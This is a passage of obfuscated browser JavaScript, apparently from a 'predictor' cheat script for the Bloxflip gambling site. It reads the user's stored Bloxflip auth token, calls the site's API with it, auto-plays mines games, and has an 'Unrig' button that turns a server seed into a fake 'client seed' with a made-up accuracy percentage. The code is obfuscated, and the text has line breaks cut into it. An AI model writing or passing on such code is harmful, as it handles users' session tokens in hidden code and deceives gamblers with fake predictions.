AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36",
"X-Auth-Token": _0x29efcd
};
var _0x3665a2 = {
method: "GET",
headers: _0x59c58c
};
fetch("https://api.bloxflip.com/games/mines/history?
size=5&page=0", _0x3665a2).then(_0x5074c1 => {
return _0x5074c1.json();
}).then(_0x5957c9 => {
if (_0x5957c9.success === true &&
Array.isArray(_0x5957c9.data)) {
var _0x25a2c0 = [];
var _0x1cd27b = {};
_0x5957c9.data.forEach(function (_0x84de64) {
if (Array.isArray(_0x84de64.mineLocations)) {
_0x25a2c0 = _0x25a2c0.concat(_0x84de64.mineLocations);
_0x1cd27b[_0x84de64.id] = _0x84de64.minesAmount;
}
});
var _0x416e1c = _0x25a2c0.sort(function (_0x31f747,
_0x1413fc) {
return _0x1cd27b[_0x31f747] - _0x1cd27b[_0x1413fc];
});
var _0x55b9f3 = _0x416e1c.slice(0, 8);
var _0x26842f = _0x416e1c.slice().reverse();
var _0x5ca9f2 = _0x26842f.slice(0, 4);
setTimeout(function () {
var _0x3fd8f8 =
document.querySelector(".button_secondary__dwIbt.gameBetSubmit");
if (_0x3fd8f8) {
_0x3fd8f8.click();
}
try {
var _0x5255a7 = function (_0x234709) {
if (_0x234709 >= _0x41afaf) {
var _0x16ff8f =
document.querySelector(".button_secondary__dwIbt.gameBetSubmit");
if (_0x16ff8f) {
_0x16ff8f.click();
}
return;
}
var _0x12c5a9 = Math.floor(Math.random() *
_0x26a6a4.length);
var _0x494417 = _0x26a6a4[_0x12c5a9];
_0x26a6a4.splice(_0x12c5a9, 1);
_0x1829dd[_0x494417 - 1].click();
setTimeout(function () {
_0x5255a7(_0x234709 + 1);
}, 125);
};
var _0x19d96c = document.getElementById("spotsSlider");
var _0x41afaf = parseInt(_0x19d96c.value);
var _0x1829dd =
document.querySelectorAll(".mines_minesGameItem__S2ytQ");
var _0x26a6a4 = [...Array(25).keys()].map(_0xffc24e => {
return _0xffc24e + 1;
}).filter(_0x51324c => {
return !_0x55b9f3.includes(_0x51324c) && !
_0x5ca9f2.includes(_0x51324c);
});
_0x5255a7(0);
} catch (_0x371671) {}
}, 1250);
} else {
var _0xea6363 = document.getElementById("predictionLabel");
_0xea6363.textContent = "Invalid API Response";
_0xea6363.style.fontSize = "24px";
_0xea6363.style.lineHeight = "30px";
}
}).catch(_0xfa2b91 => {});
};
var _0x296476 = function () {
var _0x1fd74a =
localStorage.getItem("_DO_NOT_SHARE_BLOXFLIP_TOKEN");
var _0x190f4d = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36",
"X-Auth-Token": _0x1fd74a
};
var _0x49ae50 = {
method: "GET",
headers: _0x190f4d
};
fetch("https://api.bloxflip.com/games/mines",
_0x49ae50).then(_0xfc2979 => {
return _0xfc2979.json();
}).then(_0xb8a9b6 => {
var _0x26fafa = _0xb8a9b6.hasGame;
if (_0x26fafa) {
var _0x3c7f9b =
document.querySelector(".button_secondary__dwIbt.gameBetSubmit");
if (_0x3c7f9b) {
_0x3c7f9b.click();
}
setTimeout(function () {
var _0x2f3c7b =
document.querySelector(".button_primary__mdLFG.gameBetSubmit");
if (_0x2f3c7b) {
_0x2f3c7b.click();
}
setTimeout(function () {
if (_0x4ef8ad) {
_0x2f6cd7();
} else {
_0x332de1();
}
}, 1250);
}, 1250);
} else {
if (_0x3c7f9b) {
_0x3c7f9b.click();
}
setTimeout(function () {
if (_0x4ef8ad) {
_0x2f6cd7();
} else {
_0x332de1();
}
}, 1250);
}
}).catch(_0xef4bdf => {});
};
var _0x34b1c0 = function () {
setTimeout(_0x1d0171, 500);
};
var _0x47439d = function () {
setTimeout(_0x27c9a0, 500);
};
var _0x27594f = function () {
var _0x5ea076 =
document.querySelector(".button_primary__mdLFG.gameBetSubmit");
if (_0x5ea076) {
_0x5ea076.removeEventListener("click", _0x34b1c0);
}
};
var _0x53d378 = function () {
var _0x5a826c =
document.querySelector(".button_button__eJwei.button_primary__mdLFG.gameBetSubmit")
;
if (_0x5a826c) {
_0x5a826c.addEventListener("click", _0x34b1c0);
}
};
var _0x28dd88 = function () {
var _0x7ff1c7 =
document.querySelector(".button_primary__mdLFG.gameBetSubmit");
if (_0x7ff1c7) {
_0x7ff1c7.removeEventListener("click", _0x47439d);
}
};
var _0x536214 = function () {
var _0xf7822c =
document.querySelector(".button_button__eJwei.button_primary__mdLFG.gameBetSubmit")
;
if (_0xf7822c) {
_0xf7822c.addEventListener("click", _0x47439d);
}
};
var _0x133d71 = function () {
_0x27f523(event);
_0x4d61e7 = !_0x4d61e7;
var _0x4e0baa =
document.getElementById("minesAutoPredictButton");
if (_0x4d61e7) {
_0x4e0baa.textContent = "Auto predict (On)";
if (_0x4ef8ad) {
_0x53d378();
} else {
_0x536214();
}
} else {
_0x4e0baa.textContent = "Auto predict (Off)";
if (_0x4ef8ad) {
_0x27594f();
} else {
_0x28dd88();
}
}
};
var _0x5ca0db = function () {
_0x27f523(event);
_0x51309f = !_0x51309f;
var _0x2aeb2b = document.getElementById("minesPlayButton");
if (_0x51309f) {
_0x2aeb2b.textContent = "Auto play (On)";
_0x2485cb = setInterval(_0x296476, 2000);
} else {
_0x2aeb2b.textContent = "Auto play (Off)";
clearInterval(_0x2485cb);
}
};
var _0x24aea2 = function () {
_0x27f523(event);
_0x4ef8ad = !_0x4ef8ad;
var _0x29f938 = document.getElementById("predictionTypeButton");
if (_0x4ef8ad) {
_0x29f938.textContent = "Safe";
_0x28dd88();
_0x53d378();
} else {
_0x29f938.textContent = "Mines";
_0x27594f();
_0x536214();
}
};
var _0x4ed01d = function () {
document.body.insertAdjacentHTML("beforeend", "\n
<div id=\"minesAutoPlayWindow\">\n <div
id=\"minesAutoPlayTitleBar\">\n <div
id=\"minesAutoPlayTitleContainer\">\n
<span id=\"minesAutoPlayTitle\">Auto Mines</span>\n
</div>\n <button
id=\"minesAutoExitButton\">-</button>\n
</div>\n <div
id=\"minesAutoPlayContainer\" class=\"centered\">\n
<div id=\"row1\" class=\"centered\">\n
<button id=\"minesPlayButton\">Auto play</button>\n
<button id=\"minesAutoPredictButton\">Auto predict</button>\n
</div>\n <div id=\"autorow2\"
class=\"centered\">\n <button
id=\"predictionTypeButton\">Mines</button>\n
</div>\n <div id=\"row3\"
class=\"centered\">\n <label
id=\"spotsSliderLabel\" for=\"spotsSlider\">Spots:</label>\n
<span id=\"spotsLabel\">1</span>\n
</div>\n <div id=\"row4\"
class=\"centered\">\n <input
type=\"range\" id=\"spotsSlider\" min=\"1\" max=\"24\" value=\"1\">\n
</div>\n </div>\n
</div>\n ");
var _0x3abd4a = document.getElementById("minesAutoPlayWindow");
var _0x3f6223 = document.getElementById("minesPlayButton");
var _0x415675 =
document.getElementById("minesAutoPredictButton");
var _0x5365c9 = document.getElementById("minesAutoExitButton");
var _0x2c6623 = document.getElementById("predictionTypeButton");
var _0x3852d6 = document.getElementById("spotsSlider");
var _0x1a1268 = document.getElementById("spotsLabel");
var _0x4f7538 = _0x379a3b.getBoundingClientRect();
var _0x379808 = _0x4f7538.left + _0x4f7538.width / 2 -
_0x3abd4a.offsetWidth / 2;
var _0x24c1be = _0x4f7538.top + _0x4f7538.height / 2 -
_0x3abd4a.offsetHeight / 2;
var _0x554d24 = document.getElementById("settingsWindow");
_0x3abd4a.style.left = _0x379808 + "px";
_0x3abd4a.style.top = _0x24c1be + "px";
_0x3f6223.addEventListener("click", _0x5ca0db);
_0x415675.addEventListener("click", _0x133d71);
_0x2c6623.addEventListener("click", _0x24aea2);
_0x5365c9.addEventListener("click", function () {
_0x3abd4a.remove();
_0x554d24.style.pointerEvents = "auto";
_0x554d24.style.filter = "none";
_0x554d24.style.filter = "none";
_0x27f523(event);
});
_0x3852d6.addEventListener("input", function (_0x4b0be3) {
var _0x183faa = parseInt(_0x3852d6.value);
_0x1a1268.textContent = _0x183faa;
var _0x413b59 = "linear-gradient(to right, var(--baseColor) 0%,
var(--baseColor) " + (_0x183faa - 1) / 24 * 100 + "%, #383838 " + (_0x183faa - 1) /
24 * 100 + "%, #383838 100%)";
_0x3852d6.style.background = _0x413b59;
_0x27f523(_0x4b0be3);
});
};
var _0x3c6c49 = function () {
document.body.insertAdjacentHTML("beforeend", "\n
<div id=\"autoPlayWindow\">\n <div
id=\"autoPlayTitleBar\">\n <div
id=\"autoPlayTitleContainer\">\n
<span id=\"autoPlayTitle\">Auto Play</span>\n
</div>\n <button
id=\"autoExitButton\">-</button>\n
</div>\n <div id=\"autoPlayContainer\"
class=\"centered\">\n <div
id=\"autoPlayContainerRow1\" class=\"centered\">\n
<button id=\"minesAutoPlayButton\">Mines</button>\n
<button id=\"towersAutoPlayButton\">Towers</button>\n
</div>\n </div>\n
</div>\n ");
var _0x234a1a = document.getElementById("autoPlayWindow");
var _0x174376 = document.getElementById("minesAutoPlayButton");
var _0xf0e74d = document.getElementById("towersAutoPlayButton");
var _0x2aeef5 = document.getElementById("autoExitButton");
var _0x5ee89e = _0x379a3b.getBoundingClientRect();
var _0x2c3db2 = _0x5ee89e.left + _0x5ee89e.width / 2 -
_0x234a1a.offsetWidth / 2;
var _0x4b32b8 = _0x5ee89e.top + _0x5ee89e.height / 2 -
_0x234a1a.offsetHeight / 2;
var _0x1a3e4b = document.getElementById("settingsWindow");
_0x234a1a.style.left = _0x2c3db2 + "px";
_0x234a1a.style.top = _0x4b32b8 + "px";
_0x174376.addEventListener("click", function (_0x1461ff) {
_0x4ed01d();
_0x27f523(_0x1461ff);
});
_0xf0e74d.addEventListener("click", function (_0x1ec400) {
_0x29be45();
_0x27f523(_0x1ec400);
});
_0x2aeef5.addEventListener("click", function () {
_0x234a1a.remove();
_0x1a3e4b.style.pointerEvents = "auto";
_0x1a3e4b.style.filter = "none";
_0x1a3e4b.style.filter = "none";
_0x27f523(event);
});
};
var _0x26192c = function () {
document.body.insertAdjacentHTML("beforeend", "\n
<div id=\"emojiChangerWindow\">\n
<div id=\"emojiChangerTitleBar\">\n
<div id=\"emojiChangerTitleContainer\">\n
<span id=\"emojiChangerTitle\">Emoji Changer</span>\n
</div>\n <button
id=\"emojiExitButton\">-</button>\n
</div>\n <div
id=\"emojiChangerButtons\" class=\"centered\">\n
<div class=\"predict-emoji-container\">\n
<label id=\"safeLabel\" for=\"safeEmoji\">Safe Emoji:</label>\n
<input type=\"text\" id=\"safeEmoji\" placeholder=\"✅\" />\n
<label id=\"mineLabel\" for=\"mineEmoji\">Mine Emoji:</label>\n
<input type=\"text\" id=\"mineEmoji\" placeholder=\"💣\" />\n
</div>\n <div class=\"grid-
emoji-container\">\n <label
id=\"gridLabel\" for=\"gridEmoji\">Grid Emoji:</label>\n
<input type=\"text\" id=\"gridEmoji\" placeholder=\"❓\" />\n
<label id=\"riskLabel\" for=\"riskEmoji\">Risk Emoji:</label>\n
<input type=\"text\" id=\"riskEmoji\" placeholder=\"\" />\n
</div>\n <div class=\"button-
container\">\n <button
id=\"emojiSaveButton\">Save</button>\n
<button id=\"emojiCancelButton\">Cancel</button>\n
</div>\n </div>\n
</div>\n ");
var _0x38d3e5 = document.getElementById("emojiChangerWindow");
var _0x3522e9 = document.getElementById("emojiExitButton");
var _0x40c1e9 = _0x379a3b.getBoundingClientRect();
var _0x3cbfae = _0x40c1e9.left + _0x40c1e9.width / 2 -
_0x38d3e5.offsetWidth / 2;
var _0x121ca3 = _0x40c1e9.top + _0x40c1e9.height / 2 -
_0x38d3e5.offsetHeight / 2;
var _0x4f90f6 = document.getElementById("settingsWindow");
_0x38d3e5.style.left = _0x3cbfae + "px";
_0x38d3e5.style.top = _0x121ca3 + "px";
var _0x1842e4 = document.getElementById("safeEmoji");
var _0x4e058e = document.getElementById("gridEmoji");
var _0xc2a732 = document.getElementById("mineEmoji");
var _0x297369 = document.getElementById("riskEmoji");
var _0x2a082e = document.getElementById("emojiSaveButton");
var _0x271c99 = document.getElementById("emojiCancelButton");
_0x1842e4.value = localStorage.getItem("safeEmoji") || "";
_0x4e058e.value = localStorage.getItem("gridEmoji") || "";
_0xc2a732.value = localStorage.getItem("mineEmoji") || "";
_0x297369.value = localStorage.getItem("riskEmoji") || "";
_0x3522e9.addEventListener("click", function (_0x455422) {
_0x38d3e5.remove();
_0x4f90f6.style.pointerEvents = "auto";
_0x4f90f6.style.filter = "none";
_0x4f90f6.style.filter = "none";
_0x27f523(_0x455422);
});
_0x2a082e.addEventListener("click", function (_0x44819b) {
var _0x1ab69e = _0x1842e4.value;
var _0x2f0a4a = _0x4e058e.value;
var _0x5d2c30 = _0xc2a732.value;
var _0x30cef3 = _0x297369.value;
localStorage.setItem("safeEmoji", _0x1ab69e);
localStorage.setItem("gridEmoji", _0x2f0a4a);
localStorage.setItem("riskEmoji", _0x30cef3);
localStorage.setItem("mineEmoji", _0x5d2c30);
_0x38d3e5.remove();
_0x4f90f6.style.pointerEvents = "auto";
_0x4f90f6.style.filter = "none";
_0x27f523(_0x44819b);
});
_0x271c99.addEventListener("click", function (_0x35c0f5) {
_0x38d3e5.remove();
_0x4f90f6.style.pointerEvents = "auto";
_0x4f90f6.style.filter = "none";
_0x27f523(_0x35c0f5);
});
};
var _0x30c0f3 = function () {
document.body.insertAdjacentHTML("beforeend", "\n
<div id=\"statsWindow\">\n <div
id=\"statsTitleBar\">\n <div
id=\"statsTitleContainer\">\n
<span id=\"statsTitle\">Statistics</span>\n
</div>\n <button
id=\"statsExitButton\">-</button>\n
</div>\n <span id=\"lossCounter\"/span>\
n <span id=\"winCounter\"</span>\n
<div id=\"statsContainer\" class=\"centered\">\n
<div id=\"rateContainer\">\n
<div id=\"rateLabels\">\n
<span id=\"lossRate\">Loss Rate:</span>\n
<span id=\"winRate\">Win Rate:</span>\n
</div>\n <div
id=\"ratePercentages\">\n
<span id=\"lossPercentage\">0%</span>\n
<span id=\"winPercentage\">0%</span>\n
</div>\n </div>\n
<div class=\"circle-container\">\n
<div class=\"hollow-circle\"></div>\n
</div>\n </div>\n
</div>\n ");
_0x1cf4f6();
var _0x22aadf = document.getElementById("statsWindow");
var _0x1d1be0 = document.getElementById("statsExitButton");
var _0x2d297b = _0x379a3b.getBoundingClientRect();
var _0x47969d = _0x2d297b.left + _0x2d297b.width / 2 -
_0x22aadf.offsetWidth / 2;
var _0x49f540 = _0x2d297b.top + _0x2d297b.height / 2 -
_0x22aadf.offsetHeight / 2;
var _0x600fa8 = document.getElementById("settingsWindow");
_0x22aadf.style.left = _0x47969d + "px";
_0x22aadf.style.top = _0x49f540 + "px";
_0x1d1be0.addEventListener("click", function () {
_0x22aadf.remove();
_0x600fa8.style.pointerEvents = "auto";
_0x600fa8.style.filter = "none";
_0x600fa8.style.filter = "none";
_0x27f523(event);
});
};
var _0x1cf4f6 = function () {
if (document.getElementById("winCounter") !== null &&
document.getElementById("lossCounter") !== null &&
document.getElementById("winPercentage") !== null &&
document.getElementById("lossPercentage") !== null) {
_0x35d090 = _0x3c9055;
_0x1e5f17 = _0x46c7d9 - _0x3c9055;
var _0x529e73 = _0x46c7d9 === 0 ? 0 : _0x35d090 / _0x46c7d9 *
100;
var _0x1cf9f6 = _0x46c7d9 === 0 ? 0 : _0x1e5f17 / _0x46c7d9 *
100;
var _0xcf458b = document.getElementById("winPercentage");
var _0x59d424 = document.getElementById("lossPercentage");
var _0xf3ad22 = document.querySelector(".hollow-circle");
_0xcf458b.textContent = _0x529e73.toFixed(2) + "%";
_0x59d424.textContent = _0x1cf9f6.toFixed(2) + "%";
_0xf3ad22.style.setProperty("--winPercentage", _0x529e73 +
"%");
_0xf3ad22.style.setProperty("--lossPercentage", _0x1cf9f6 +
"%");
}
};
var _0x17f27d = function () {
function _0x354d72() {
var _0x1a77c3 = document.getElementById("movableMenu");
var _0x12a911 = document.getElementById("settingsWindow");
var _0x14b305 = document.getElementById("movableImage");
if (_0x1a77c3) {
_0x1a77c3.remove();
}
if (_0x12a911) {
_0x12a911.remove();
}
if (_0x14b305) {
_0x14b305.remove();
}
localStorage.removeItem("LunarPredictorLicenseKey");
_0x2e6566();
}
function _0x48fd0f(_0x245b44) {
const _0x4d35cc = [];
for (let _0x56ede6 = 0; _0x56ede6 < _0x245b44.length; _0x56ede6
= _0x56ede6 + 2) {
_0x4d35cc.push(parseInt(_0x245b44.substr(_0x56ede6, 2), 16));
}
return new Uint8Array(_0x4d35cc);
}
function _0x28dabf(_0x464bdf) {
_0x464bdf = _0x464bdf.trim();
if (!/^[a-fA-F0-9]{64}$/.test(_0x464bdf)) {
return false;
}
return true;
}
function _0x33ffa0(_0xfbb4ac) {
var _0x294625 = document.createElement("textarea");
_0x294625.value = _0xfbb4ac;
document.body.appendChild(_0x294625);
_0x294625.select();
document.execCommand("copy");
document.body.removeChild(_0x294625);
}
document.body.insertAdjacentHTML("beforeend", "\n
<div id=\"settingsWindow\">\n <div
id=\"settingsTitleBar\">\n <div
id=\"settingsTitleContainer\">\n
<span id=\"settingsTitle\">Settings</span>\n
</div>\n <button
id=\"exitButton\">-</button>\n
</div>\n <div
id=\"settingsContainer\">\n <div
id=\"settingsContainerRow1\" class=\"centered\">\n
<button id=\"changeColorButton\">Colors</button>\n
<button id=\"changeBindsButton\">Keybinds</button>\n
</div>\n <div
id=\"settingsContainerRow2\" class=\"centered\">\n
<button id=\"unrigButton\">Unrig</button>\n
<button id=\"autoPlayButton\">Autoplay</button>\n
</div>\n <div
id=\"settingsContainerRow3\" class=\"centered\">\n
<button id=\"emojiButton\">Emojis</button>\n
<button id=\"statsButton\">Stats</button>\n
</div>\n <div
id=\"settingsContainerRow4\" class=\"centered\">\n
<button id=\"logoutButton\">Logout</button>\n
</div>\n </div>\n
</div>\n ");
var _0x11206f = document.getElementById("settingsWindow");
var _0x457ecd = document.getElementById("exitButton");
var _0x349a54 = document.getElementById("changeColorButton");
var _0x14f707 = document.getElementById("changeBindsButton");
var _0x3bb5af = document.getElementById("autoPlayButton");
var _0x20f733 = document.getElementById("logoutButton");
var _0x37552c = document.getElementById("emojiButton");
var _0x21039d = document.getElementById("statsButton");
var _0x442eff = _0x379a3b.getBoundingClientRect();
var _0xfe193a = _0x442eff.left + _0x442eff.width / 2 -
_0x11206f.offsetWidth / 2;
var _0x29ae7e = _0x442eff.top + _0x442eff.height / 2 -
_0x11206f.offsetHeight / 2;
_0x11206f.style.left = _0xfe193a + "px";
_0x11206f.style.top = _0x29ae7e + "px";
_0x457ecd.addEventListener("click", function () {
_0x11206f.remove();
_0x379a3b.style.pointerEvents = "auto";
_0x25afa6.style.pointerEvents = "auto";
_0x379a3b.style.filter = "none";
_0x25afa6.style.filter = "none";
_0x12c0d7 = false;
_0x27f523(event);
});
_0x21039d.addEventListener("click", function () {
_0x11206f.style.pointerEvents = "none";
_0x11206f.style.filter = "blur(4px)";
_0x11206f.style.filter = "blur(4px)";
_0x30c0f3();
_0x27f523(event);
});
_0x349a54.addEventListener("click", function () {
_0x11206f.style.pointerEvents = "none";
_0x11206f.style.filter = "blur(4px)";
_0x11206f.style.filter = "blur(4px)";
_0x2af052();
_0x27f523(event);
});
_0x37552c.addEventListener("click", function () {
_0x11206f.style.pointerEvents = "none";
_0x11206f.style.filter = "blur(4px)";
_0x11206f.style.filter = "blur(4px)";
_0x26192c();
_0x27f523(event);
});
_0x14f707.addEventListener("click", function () {
_0x11206f.style.pointerEvents = "none";
_0x11206f.style.filter = "blur(4px)";
_0x11206f.style.filter = "blur(4px)";
_0x29e105();
_0x27f523(event);
});
_0x3bb5af.addEventListener("click", function () {
_0x11206f.style.pointerEvents = "none";
_0x11206f.style.filter = "blur(4px)";
_0x11206f.style.filter = "blur(4px)";
_0x3c6c49();
_0x27f523(event);
});
_0x20f733.addEventListener("click", function () {
_0x354d72();
_0x3dd9b2();
_0x27f523(event);
});
var _0x36be9b = document.getElementById("unrigButton");
const _0x40fcf6 = window.CryptoJS;
_0x36be9b.addEventListener("click", function () {
_0x27f523(event);
var _0x157b58 = prompt("Please enter your server seed:");
if (_0x157b58) {
if (!_0x28dabf(_0x157b58)) {
alert("Invalid server seed");
return;
}
var _0x134036 = btoa(_0x48fd0f(_0x157b58));
var _0x835aed = _0x40fcf6.SHA256(_0x134036).toString();
var _0x4b0bd4 = _0x835aed.slice(0, 9) + "-" +
_0x835aed.slice(9, 18);
var _0x3ba586 = Math.min(parseInt(_0x835aed, 16) % 100, 100);
_0x3ba586 = Math.max(_0x3ba586, 1);
_0x33ffa0(_0x4b0bd4);
alert("New Client Seed: " + _0x4b0bd4 + " (Copied to
clipboard)\nAccuracy: " + _0x3ba586 + "%");
}
});
};
var _0x599954 = function () {
_0x43515f();
};
var _0x1a52ab = function (_0x25fa45) {
var _0x162548 = _0x25fa45.touches[0];
_0x5e5f4a(_0x162548);
};
var _0x25d539 = function (_0x31b5b6) {
var _0x4ef7d2 = _0x31b5b6.touches[0];
_0x20b42c(_0x4ef7d2);
};
var _0x43515f = function () {
_0x1fe014 = false;
};
var _0x5e5f4a = function (_0x107d10) {
if (_0x1fe014) {
_0x379a3b.style.left = _0x107d10.clientX - _0x5c5955 + "px";
_0x379a3b.style.top = _0x107d10.clientY - _0x11a33e + "px";
}
};
var _0x20b42c = function (_0x574f8c) {
_0x1fe014 = true;
_0x5c5955 = _0x574f8c.clientX -
parseInt(window.getComputedStyle(_0x379a3b).left);
_0x11a33e = _0x574f8c.clientY -
parseInt(window.getComputedStyle(_0x379a3b).top);
};
var _0x27f523 = function (_0x1dfa81) {
if (_0x1dfa81 instanceof MouseEvent) {
const _0xaaa3a4 = new Audio("http://www.sndup.net/f4tg");
_0xaaa3a4.currentTime = 0;
_0xaaa3a4.play();
}
};
var _0x4c576c = function () {
_0x1625f3();
};
var _0x442ccb = function (_0x1f66f2) {
var _0x56f392 = _0x1f66f2.touches[0];
_0x4abaf2(_0x56f392);
};
var _0x2957bf = function (_0x4d9d28) {
var _0x16c424 = _0x4d9d28.touches[0];
_0x249aa0(_0x16c424);
};
var _0x1625f3 = function () {
_0x1fe014 = false;
if (!_0xe4d641) {
var _0x59ac7c = document.getElementById("movableMenu");
if (_0x59ac7c) {
_0x59ac7c.classList.remove("hidden");
_0x27f523(event);
}
}
};
var _0x4abaf2 = function (_0x33e12f) {
if (_0x1fe014) {
_0xe4d641 = true;
_0x25afa6.style.left = _0x33e12f.clientX - _0x5c5955 + 3 +
"px";
_0x25afa6.style.top = _0x33e12f.clientY - _0x11a33e + 3 + "px";
}
};
var _0x249aa0 = function (_0x3a960c) {
_0x1fe014 = true;
_0x5c5955 = _0x3a960c.clientX -
parseInt(window.getComputedStyle(_0x25afa6).left);
_0x11a33e = _0x3a960c.clientY -
parseInt(window.getComputedStyle(_0x25afa6).top);
_0xe4d641 = false;
};
clearInterval(_0x39249e);
var _0xc545a6 = document.getElementById("loginWindow");
if (_0xc545a6) {
_0xc545a6.remove();
_0x41bf7();
_0x480ce2();
}
var _0x2be2ce = "\n <div
id=\"movableImage\">\n <img
src=\"https://i.imgur.com/bokNhKh.png\" id=\"menuImage\" alt=\"Menu Image\">\n
</div>\n ";
var _0x2a380c = "\n
#movableImage {\n position: fixed;\n
top: 38%;\n left: 43%;\n
width: 70px;\n height: 70px;\n
z-index: 9999;\n cursor: pointer;\n
}\n\n #menuImage {\n
width: 70%;\n height: 70%;\n
border-radius: 50%;\n border: 2px solid
var(--baseColor);\n box-shadow: 0 0 4px 2px
var(--baseColor);\n }\n
";
var _0x57f477 = document.createElement("style");
_0x57f477.innerHTML = _0x2a380c;
document.head.appendChild(_0x57f477);
document.body.insertAdjacentHTML("beforeend", _0x2be2ce);
var _0x25afa6 = document.getElementById("movableImage");
var _0x470703 = document.getElementById("menuImage");
_0x470703.style.pointerEvents = "none";
var _0x1fe014 = false;
var _0xe4d641 = false;
var _0x5c5955 = 0;
var _0x11a33e = 0;
_0x25afa6.addEventListener("mousedown", _0x249aa0);
document.addEventListener("mousemove", _0x4abaf2);
document.addEventListener("mouseup", _0x1625f3);
_0x25afa6.addEventListener("touchstart", _0x2957bf);
document.addEventListener("touchmove", _0x442ccb);
document.addEventListener("touchend", _0x4c576c);
_0x25afa6.addEventListener("click", function (_0x2fd3f3) {
if (!_0xe4d641) {
var _0x422ee6 = document.getElementById("movableMenu");
_0x422ee6.classList.remove("hidden");
_0x27f523(_0x2fd3f3);
}
});
_0x2be2ce = "\n <div
id=\"movableMenu\">\n <div
id=\"menuTitleBar\">\n <div
id=\"menuTitleContainer\">\n <img
src=\"https://i.imgur.com/s43HLNq.png\" id=\"menuLogo\" alt=\"Logo\">\n
<span id=\"menuTitle\">Sun Predictor Beta |
</div>\n <button
id=\"settingsButton\">⚙</button>\n
<button id=\"hideButton\">-</button>\n
</div>\n <div id=\"menuContent\">\n
<div id=\"buttonsContainer\">\n
<div>\n <button
id=\"minepredictButton\">Mines</button>\n
</div>\n <div>\n
<button id=\"safepredictButton\">Safe</button>\n
</div>\n <div>\n
<button id=\"towerpredictButton\">Towers</button>\n
</div>\n <div>\n
<button id=\"crashpredictButton\">Crash</button>\n
</div>\n <div>\n
<button id=\"roulettepredictButton\">Slide</button>\n
</div>\n </div>\n
<div id=\"window\">\n <div
id=\"predictionLabel\">Welcome User!" + +"</div>\n
</div>\n </div>\n
</div>\n ";
_0x2a380c = "\n #movableMenu {\n
position: fixed;\n top: 35%;\n
left: 40%;\n width: 400px;\n
height: 250px;\n z-index: 9999;\n
border-radius: 10px;\n background-color:
var(--themeBaseColor);\n border: 1px solid
var(--baseColor);\n box-shadow: 0 0 4px 2px
var(--baseColor);\n }\n\n
#movableMenu {\n filter: drop-shadow(0 px
8px rgba(0, 0, 0, 0.7));\n }\n\n
#menuTitleBar {\n height: 30px;\n
border-top-left-radius: 10px;\n border-top-
right-radius: 10px;\n background-color:
var(--themeSecondColor);\n display: flex;\n
align-items: center;\n justify-content:
space-between;\n font-size: 18px;\n
padding: 0 10px;\n }\n\n
#menuTitleContainer {\n display: flex;\n
align-items: center;\n }\n\n
#menuContent {\n padding: 10px;\n
display: flex;\n align-items: flex-start;\n
}\n\n #menuLogo {\n
width: 20px;\n height: 20px;\n
margin-right: 5px;\n }\n\n
#menuTitle {\n color: var(--
themeFourthColor);\n }\n\n
#movableMenu.hidden {\n display: none;\n
}\n\n #window {\n
width: 198px;\n height: 198px;\n
flex: 1;\n border-radius: 4px;\n
background-color: var(--themeSecondColor);\n
margin-left: 5px;\n display: flex; /* Use
flexbox to align items */\n align-items:
center; /* Vertically center the content */\n
justify-content: center; /* Horizontally center the content */\n
box-shadow: 2px 2px 4px rgba(0, 0, 0, 0.2);\n }\
n\n #predictionLabel {\n
font-size: 24px;\n font-weight: bold;\n
color: var(--themeFourthColor);\n white-
space: pre;\n line-height: 30px;\n
text-align: center;\n }\n\n
.centered {\n display: flex;\n
justify-content: center;\n align-items:
center;\n }\n\n
#buttonsContainer {\n display: flex;\n
flex-direction: column;\n align-items: flex-
start;\n }\n\n
#settingsButton {\n width: 22px;\n
height: 22px;\n margin-right: 5px;\n
margin-left: auto;\n background: var(--
themeThirdColor);\n border: none;\n
border-radius: 30px;\n color: var(--
themeFourthColor);\n font-size: 12px;\n
cursor: pointer;\n padding: 0;\n
box-shadow: 2px 2px 3px rgba(0, 0, 0, 0.1);\n
transition: background-color 0.5s;\n }\n\n
#settingsButton:hover {\n background-color:
var(--hoverColor);\n }\n\n
#settingsButton:active {\n background-color:
var(--activeColor);\n }\n\n
#hideButton {\n width: 22px;\n
height: 22px;\n background: var(--
themeThirdColor);\n border: none;\n
border-radius: 30px;\n color: var(--
themeFourthColor);\n font-size: 18px;\n
cursor: pointer;\n padding: 0;\n
box-shadow: 2px 2px 3px rgba(0, 0, 0, 0.1);\n
transition: background-color 0.5s;\n }\n\n
#hideButton:hover {\n background-color:
#ff4545;\n }\n\n
#hideButton:active {\n background-color:
#942828;\n }\n\n
#minepredictButton,\n #safepredictButton,\n
#towerpredictButton,\n #crashpredictButton,\n
#roulettepredictButton {\n width: 75px;\n
height: 32px;\n background-color: var(--
themeSecondColor);\n color: var(--
themeFourthColor);\n border: none;\n
border-radius: 4px;\n font-size: 16px;\n
cursor: pointer;\n margin-right: 5px;\n
margin-bottom: 5px;\n box-shadow: 2px 2px
4px rgba(0, 0, 0, 0.2);\n transition:
background-color 0.5s;\n }\n\n
#minepredictButton:hover,\n
#safepredictButton:hover,\n
#towerpredictButton:hover,\n
#crashpredictButton:hover,\n
#roulettepredictButton:hover {\n background-
color: var(--hoverColor);\n }\n\n
#minepredictButton:active,\n
#safepredictButton:active,\n
#towerpredictButton:active,\n
#crashpredictButton:active,\n
#roulettepredictButton:active {\n
background-color: var(--activeColor);\n }\n\n
.darkBackground {\n background-color:
rgba(0, 0, 0, 0.5);\n }\n\n
.outlined {\n box-shadow: 0 0 0 0 #d6000f;\n
transition: box-shadow 0.5s ease-in-out;\n }\n\n
.outlined.active {\n box-shadow: 0 0 8px 6px
#d6000f;\n }\n\n
.outlinedWarned {\n box-shadow: 0 0 8px 6px
#cfa1a4;\n transition: box-shadow 0.5s ease-
in-out;\n }\n\n
.outlinedWarned.active {\n
box-shadow: 0 0 8px 6px #cfa1a4;\n }\n\n
.safeoutlined {\n box-shadow: 0 0 0 0 var(--
baseColor);\n transition: box-shadow 0.5s
ease-in-out;\n }\n\n
.safeoutlined.active {\n box-shadow: 0 0 8px
4px var(--baseColor);\n }\n
";
_0x57f477 = document.createElement("style");
_0x57f477.innerHTML = _0x2a380c;
document.head.appendChild(_0x57f477);
document.body.insertAdjacentHTML("beforeend", _0x2be2ce);
